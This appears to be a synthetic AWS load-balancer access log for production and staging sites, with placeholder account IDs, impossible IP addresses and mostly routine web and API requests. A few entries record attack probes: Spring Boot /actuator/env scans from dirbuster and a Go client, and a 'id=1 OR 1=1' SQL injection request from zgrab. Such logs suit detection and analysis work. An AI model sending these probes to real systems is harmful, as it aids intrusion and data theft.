arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb51-84fd53c0743a48b0b50ef257" "staging-alb.example.com" "-" 2 2024-11-01T01:24:17.548876Z "forward" "-" "-" "150.180.5.202:8080" "404" "-" "-" -https 2024-11-01T01:24:19.144567Z prod-web-alb 225.81.113.159:53950 10.0.202.218:443 0.022457 0.067327 0.019121 200 200 550 5740 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb53-1404ccc070874b3c96750bb2" "-" "-" 8 2024-11-01T01:24:19.144567Z "forward" "-" "-" "10.0.202.218:443" "200" "-" "-" -http 2024-11-01T01:24:19.781199Z staging-alb 224.31.248.238:63973 169.240.73.154:443 0.111566 0.487556 0.090358 200 200 165 10953 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb53-7e5bdc77e2f84c1095d00ecb" "staging-alb.example.com" "-" 9 2024-11-01T01:24:19.781199Z "forward" "-" "-" "169.240.73.154:443" "200" "-" "-" -https 2024-11-01T01:24:20.579149Z prod-web-alb 193.27.228.126:47604 10.0.80.233:443 0.070282 0.293408 0.056908 403 403 521 10657 "POST /actuator/env HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb54-8411ff0465ef4be2a4950954" "-" "-" 2 2024-11-01T01:24:20.579149Z "forward" "-" "-" "10.0.80.233:443" "403" "-" "-" -https 2024-11-01T01:24:21.398252Z staging-alb 208.144.12.195:12543 190.222.53.130:443 0.013717 0.513137 0.017687 200 200 24 8642 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb55-3fb41502b49041f185c66471" "staging-alb.example.com" "-" 8 2024-11-01T01:24:21.398252Z "forward" "-" "-" "190.222.53.130:443" "200" "-" "-" -http 2024-11-01T01:24:21.716428Z staging-alb 11.172.110.158:30403 188.86.207.13:443 0.131824 0.155881 0.082145 200 200 613 11550 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb55-43331fb7bc254c3f92ef931e" "staging-alb.example.com" "-" 5 2024-11-01T01:24:21.716428Z "forward" "-" "-" "188.86.207.13:443" "200" "-" "-" -http 2024-11-01T01:24:22.005348Z staging-alb 37.148.155.228:47791 252.192.188.54:8080 0.129927 0.693018 0.092254 302 302 336 6386 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb56-c11e667ba82c44c2b76eb36c" "staging-alb.example.com" "-" 1 2024-11-01T01:24:22.005348Z "forward" "-" "-" "252.192.188.54:8080" "302" "-" "-" -https 2024-11-01T01:24:23.020684Z prod-api-alb 223.163.219.118:55851 10.0.10.232:443 0.088495 0.049132 0.007625 200 200 587 12183 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb57-d1ab0ede078d4a959e88a45f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:24:23.020684Z "forward" "-" "-" "10.0.10.232:443" "200" "-" "-" -https 2024-11-01T01:24:24.291047Z prod-web-alb 30.254.167.243:24977 10.0.5.231:443 0.057978 0.327539 0.075343 200 200 414 14556 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb58-52d1dc2a2e614d2aa59b4097" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:24.291047Z "forward" "-" "-" "10.0.5.231:443" "200" "-" "-" -https 2024-11-01T01:24:25.735295Z prod-web-alb 255.56.206.30:39914 10.0.111.116:443 0.051982 0.169086 0.090791 301 301 704 14688 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb59-2584573eeff04be2827f5a9c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:24:25.735295Z "forward" "-" "-" "10.0.111.116:443" "301" "-" "-" -https 2024-11-01T01:24:27.173183Z prod-api-alb 45.190.20.57:60688 10.0.136.153:443 0.044668 0.061710 0.001941 200 200 379 9646 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb5b-2748994d7d1940ac8caa102f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:24:27.173183Z "forward" "-" "-" "10.0.136.153:443" "200" "-" "-" -https 2024-11-01T01:24:28.893480Z prod-web-alb 185.252.220.156:13613 10.0.40.149:443 0.012758 0.396997 0.062909 200 200 25 11645 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb5c-a3595ebf4d9c4d87b69a035b" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:28.893480Z "forward" "-" "-" "10.0.40.149:443" "200" "-" "-" -https 2024-11-01T01:24:30.849263Z prod-web-alb 183.255.72.126:18892 10.0.163.178:443 0.077251 0.075954 0.045569 302 302 215 7730 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb5e-3ab57ec462fc445abfb9feef" "prod-web-alb.example.com" "-" 10 2024-11-01T01:24:30.849263Z "forward" "-" "-" "10.0.163.178:443" "302" "-" "-" -https 2024-11-01T01:24:31.563182Z prod-api-alb 54.88.242.131:30320 10.0.245.35:443 0.010263 0.008211 0.070004 301 301 133 10083 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb5f-08ce73982a0b40caa2d2e58b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:31.563182Z "forward" "-" "-" "10.0.245.35:443" "301" "-" "-" -http 2024-11-01T01:24:31.848426Z staging-alb 115.227.1.192:19982 143.202.77.23:80 0.045460 0.270284 0.044885 200 200 704 1538 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb5f-49caef407e3d45cea75b9c99" "staging-alb.example.com" "-" 1 2024-11-01T01:24:31.848426Z "forward" "-" "-" "143.202.77.23:80" "200" "-" "-" -https 2024-11-01T01:24:32.979151Z prod-api-alb 71.35.130.145:46196 10.0.86.214:443 0.074971 0.353855 0.093561 200 200 398 6956 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb60-7d43fad8a8434780b221c7cd" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:32.979151Z "forward" "-" "-" "10.0.86.214:443" "200" "-" "-" -https 2024-11-01T01:24:34.565392Z prod-web-alb 3.31.84.47:51596 10.0.127.248:443 0.078765 0.045810 0.077025 302 302 552 2965 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb62-cd71ea9cd9c5469e808d48b6" "prod-web-alb.example.com" "-" 5 2024-11-01T01:24:34.565392Z "forward" "-" "-" "10.0.127.248:443" "302" "-" "-" -https 2024-11-01T01:24:36.543869Z prod-api-alb 218.216.6.149:14318 10.0.98.188:443 0.026886 0.467388 0.042799 200 200 460 2700 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb64-57c52f108286446186d6be4b" "prod-api-alb.example.com" "-" 1 2024-11-01T01:24:36.543869Z "forward" "-" "-" "10.0.98.188:443" "200" "-" "-" -https 2024-11-01T01:24:37.087917Z prod-web-alb 64.231.141.124:42404 10.0.94.85:443 0.046710 0.261256 0.039804 200 200 195 14292 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb65-45eb127bf87546559ecd7bd2" "prod-web-alb.example.com" "-" 9 2024-11-01T01:24:37.087917Z "forward" "-" "-" "10.0.94.85:443" "200" "-" "-" -https 2024-11-01T01:24:37.222512Z prod-api-alb 193.27.228.118:17235 10.0.7.178:443 0.024076 0.311983 0.014456 500 500 304 5896 "POST /actuator/env HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb65-5b4e49d8b8674dc79558f09b" "-" "-" 5 2024-11-01T01:24:37.222512Z "forward" "-" "-" "10.0.7.178:443" "500" "-" "-" -https 2024-11-01T01:24:38.774723Z prod-api-alb 103.15.224.188:45149 10.0.113.214:443 0.088318 0.089434 0.034653 200 200 942 6683 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb66-377b03a6aec84690b67263ef" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:38.774723Z "forward" "-" "-" "10.0.113.214:443" "200" "-" "-" -http 2024-11-01T01:24:40.046902Z staging-alb 38.108.53.217:27527 222.213.181.110:443 0.114856 0.535197 0.054558 200 200 522 8228 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb68-1e0a77001c57463a84cb762a" "staging-alb.example.com" "-" 7 2024-11-01T01:24:40.046902Z "forward" "-" "-" "222.213.181.110:443" "200" "-" "-" -https 2024-11-01T01:24:41.336058Z prod-api-alb 171.219.26.251:32769 10.0.77.223:443 0.070831 0.203521 0.006781 301 301 752 10533 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb69-a94ca48ff3d140afba07fd2f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:24:41.336058Z "forward" "-" "-" "10.0.77.223:443" "301" "-" "-" -https 2024-11-01T01:24:41.712845Z staging-alb 180.35.16.85:55644 117.217.28.250:8080 0.115933 0.092271 0.008648 200 200 396 9544 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb69-69b54ac0740a40988488dde6" "staging-alb.example.com" "-" 3 2024-11-01T01:24:41.712845Z "forward" "-" "-" "117.217.28.250:8080" "200" "-" "-" -https 2024-11-01T01:24:42.472262Z prod-web-alb 5.38.111.121:30479 10.0.126.152:443 0.088153 0.280518 0.089178 200 200 158 13417 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb6a-73f70a77b9c54cf8ba441266" "prod-web-alb.example.com" "-" 3 2024-11-01T01:24:42.472262Z "forward" "-" "-" "10.0.126.152:443" "200" "-" "-" -http 2024-11-01T01:24:42.865738Z staging-alb 50.17.54.51:46284 49.111.84.15:443 0.113464 0.397161 0.145507 200 200 77 3583 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb6a-9405a2bf1a3f4952b6c36310" "staging-alb.example.com" "-" 6 2024-11-01T01:24:42.865738Z "forward" "-" "-" "49.111.84.15:443" "200" "-" "-" -https 2024-11-01T01:24:44.425248Z prod-api-alb 98.25.186.119:56660 10.0.171.28:443 0.027676 0.015868 0.093309 302 302 233 9271 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb6c-8d398b02e36a4252a3a04e8a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:24:44.425248Z "forward" "-" "-" "10.0.171.28:443" "302" "-" "-" -https 2024-11-01T01:24:45.127488Z prod-api-alb 96.125.218.42:11609 10.0.231.77:443 0.048839 0.218773 0.073948 404 404 687 4158 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb6d-c018e2138cd54f27a23d8505" "prod-api-alb.example.com" "-" 6 2024-11-01T01:24:45.127488Z "forward" "-" "-" "10.0.231.77:443" "404" "-" "-" -https 2024-11-01T01:24:45.285791Z staging-alb 185.140.54.103:58145 151.117.40.154:8080 0.113532 0.531061 0.057125 200 200 31 7989 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb6d-f24ea9d3e0cd43568a111695" "staging-alb.example.com" "-" 1 2024-11-01T01:24:45.285791Z "forward" "-" "-" "151.117.40.154:8080" "200" "-" "-" -http 2024-11-01T01:24:46.394272Z staging-alb 124.223.58.213:47186 193.220.140.137:443 0.099962 0.187872 0.143588 200 200 176 2208 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb6e-345f01bad6e74c8fb4cc7119" "staging-alb.example.com" "-" 1 2024-11-01T01:24:46.394272Z "forward" "-" "-" "193.220.140.137:443" "200" "-" "-" -https 2024-11-01T01:24:47.501245Z prod-api-alb 103.28.221.148:43158 10.0.214.199:443 0.007549 0.205154 0.039603 200 200 89 9991 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb6f-37e6295724254ff19ad639e2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:24:47.501245Z "forward" "-" "-" "10.0.214.199:443" "200" "-" "-" -https 2024-11-01T01:24:47.886259Z prod-web-alb 61.252.193.5:15532 10.0.27.255:443 0.064249 0.288766 0.010994 301 301 816 1263 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb6f-2f05731a9f494b4db2423ac1" "prod-web-alb.example.com" "-" 6 2024-11-01T01:24:47.886259Z "forward" "-" "-" "10.0.27.255:443" "301" "-" "-" -https 2024-11-01T01:24:48.314124Z prod-api-alb 68.202.93.214:16793 10.0.251.229:443 0.020394 0.315375 0.027836 200 200 565 12272 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb70-1c5d2a6c99f2415ba7eeb381" "prod-api-alb.example.com" "-" 5 2024-11-01T01:24:48.314124Z "forward" "-" "-" "10.0.251.229:443" "200" "-" "-" -http 2024-11-01T01:24:50.253022Z staging-alb 185.181.95.188:33450 151.247.134.72:8080 0.031530 0.091649 0.061132 500 500 195 8232 "POST /users?id=1 OR 1=1 HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb72-27081fef06754df9ba096420" "-" "-" 7 2024-11-01T01:24:50.253022Z "forward" "-" "-" "151.247.134.72:8080" "500" "-" "-" -http 2024-11-01T01:24:52.221624Z staging-alb 255.23.236.252:45060 8.27.154.240:80 0.091480 0.140646 0.041435 301 301 256 2826 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb74-807cee26785d49709ba49247" "staging-alb.example.com" "-" 9 2024-11-01T01:24:52.221624Z "forward" "-" "-" "8.27.154.240:80" "301" "-" "-" -https 2024-11-01T01:24:52.772227Z staging-alb 110.252.137.7:63866 199.255.176.116:80 0.062411 0.467797 0.047533 200 200 53 11010 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb74-0515b46e7c7b4db1b2da9058" "staging-alb.example.com" "-" 4 2024-11-01T01:24:52.772227Z "forward" "-" "-" "199.255.176.116:80" "200" "-" "-" -https 2024-11-01T01:24:53.972880Z prod-api-alb 185.251.135.9:12004 10.0.220.98:443 0.080114 0.069228 0.031149 302 302 20 655 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb75-35964c5829fa49caa6636eb1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:24:53.972880Z "forward" "-" "-" "10.0.220.98:443" "302" "-" "-" -https 2024-11-01T01:24:54.395084Z prod-api-alb 194.185.231.6:62227 10.0.31.132:443 0.003580 0.263880 0.002107 404 404 358 7264 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb76-a04a8b5395a6452f8e02feda" "prod-api-alb.example.com" "-" 2 2024-11-01T01:24:54.395084Z "forward" "-" "-" "10.0.31.132:443" "404" "-" "-" -https 2024-11-01T01:24:54.911566Z prod-web-alb 99.181.103.216:18298 10.0.39.21:443 0.017056 0.177164 0.024257 200 200 266 8165 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb76-5ec4aacf23844f5b81d52dd1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:24:54.911566Z "forward" "-" "-" "10.0.39.21:443" "200" "-" "-" -https 2024-11-01T01:24:55.943920Z staging-alb 126.123.82.24:58567 5.105.167.40:8080 0.114658 0.395750 0.006832 404 404 941 1927 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb77-0a934fe6ae5e4884a7fae05a" "staging-alb.example.com" "-" 10 2024-11-01T01:24:55.943920Z "forward" "-" "-" "5.105.167.40:8080" "404" "-" "-" -https 2024-11-01T01:24:57.695410Z prod-api-alb 224.216.15.133:13398 10.0.144.196:443 0.081784 0.498388 0.080498 200 200 765 593 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb79-2673d3cfaa794f8fa295bba9" "prod-api-alb.example.com" "-" 9 2024-11-01T01:24:57.695410Z "forward" "-" "-" "10.0.144.196:443" "200" "-" "-" -https 2024-11-01T01:24:59.188836Z prod-web-alb 108.202.124.172:18176 10.0.90.72:443 0.029051 0.396625 0.046305 200 200 152 2954 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb7b-51af0ff0ad09460a95308371" "prod-web-alb.example.com" "-" 3 2024-11-01T01:24:59.188836Z "forward" "-" "-" "10.0.90.72:443" "200" "-" "-" -https 2024-11-01T01:24:59.465890Z prod-web-alb 15.45.23.98:32702 10.0.146.121:443 0.044663 0.153433 0.089367 200 200 301 14447 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb7b-1a3b8b332ef345289b41934f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:24:59.465890Z "forward" "-" "-" "10.0.146.121:443" "200" "-" "-" -https 2024-11-01T01:25:01.424084Z prod-api-alb 194.105.66.50:18859 10.0.204.241:443 0.061750 0.471144 0.072395 200 200 174 7700 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb7d-6651646995a241e2ba7e63a0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:25:01.424084Z "forward" "-" "-" "10.0.204.241:443" "200" "-" "-" -https 2024-11-01T01:25:01.991588Z prod-api-alb 143.182.155.227:62003 10.0.72.139:443 0.021209 0.057433 0.046721 301 301 594 9626 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb7d-549bdbd0107344ca82018790" "prod-api-alb.example.com" "-" 9 2024-11-01T01:25:01.991588Z "forward" "-" "-" "10.0.72.139:443" "301" "-" "-" -https 2024-11-01T01:25:02.247002Z prod-api-alb 133.79.223.205:55325 10.0.162.94:443 0.039007 0.278812 0.015401 200 200 625 14516 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb7e-2977e7793f9549d0b784490b" "prod-api-alb.example.com" "-" 4 2024-11-01T01:25:02.247002Z "forward" "-" "-" "10.0.162.94:443" "200" "-" "-" -https 2024-11-01T01:25:02.499229Z prod-web-alb 188.126.40.29:16052 10.0.21.230:443 0.007194 0.127666 0.058674 200 200 641 9160 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb7e-98b9ecf1bb0049a2bae045eb" "prod-web-alb.example.com" "-" 7 2024-11-01T01:25:02.499229Z "forward" "-" "-" "10.0.21.230:443" "200" "-" "-" -https 2024-11-01T01:25:02.986875Z prod-api-alb 252.117.188.146:20528 10.0.212.93:443 0.047143 0.007164 0.075159 302 302 113 6192 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb7e-47d487d765be4fd2a81dc597" "prod-api-alb.example.com" "-" 10 2024-11-01T01:25:02.986875Z "forward" "-" "-" "10.0.212.93:443" "302" "-" "-" -https 2024-11-01T01:25:03.128255Z prod-api-alb 214.112.238.111:33577 10.0.82.95:443 0.087254 0.180017 0.053297 200 200 493 7910 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb7f-5e248c599d074e3db8ef5abf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:25:03.128255Z "forward" "-" "-" "10.0.82.95:443" "200" "-" "-" -https 2024-11-01T01:25:03.939358Z prod-web-alb 115.11.174.23:19445 10.0.36.44:443 0.031529 0.486805 0.079075 200 200 733 7956 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 